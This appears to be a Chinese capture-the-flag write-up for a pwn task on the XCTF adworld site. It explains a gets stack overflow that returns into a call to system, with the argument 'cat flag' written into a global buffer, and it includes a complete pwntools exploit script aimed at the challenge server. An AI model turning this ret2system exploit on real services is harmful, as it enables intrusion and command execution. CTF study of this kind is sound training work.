CTF：第七题

https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5059&page=1

 

 

 

 

 题面如上，

 

 关键函数如下

 

本题，纵观代码，发现，只有system，没有命令，

这种情况下，就需要我自己拼命令了，

由于是个简单的gets栈溢出，

然后就好办了。

构造一个这样得命令

payload = （a） * 0x26 + 4字节的ebp + 4字节的返回地址 +4字节的参数

4字节的ebp 可以为任意值

4字节的返回地址，返回 call system 的地址，让函数返回的时候顺利调用这里

4字节的参数，是 system 函数的参数，这里需要精心构造

 

参数怎么构造，内存里面没有可用字符串啊，

所以这里就需要手动构造了，但是去哪里构造呢，

前面看代码其实可以看到，有一个地方给了我们一个机会，

就是hello函数里面最后一个 fgets ，获取到的信息，放到了一个全局变量里面，

这个不错，我直接写入一个命令，然后把全局变量地址当成4字节参数传进去不就好了。

至于这个参数是什么，有两种做法

1：cat flag ，适用于flag就在当前目录下，直接就能输出

2：/bin/sh ，适用于不清楚的情况下拿shell，

我喜欢第一种做法。

 

代码如下

a = remote('124.126.19.106', 53637)


payload = 'a' * (0x26 + 4) + int322str(0x0804855A) + int322str(0x0804A080)
a.recvuntil("name\n")
a.sendline('cat flag\x00')
a.recvuntil('here:\n')
a.sendline(payload)
a.interactive()

 

然后直接就输出了flag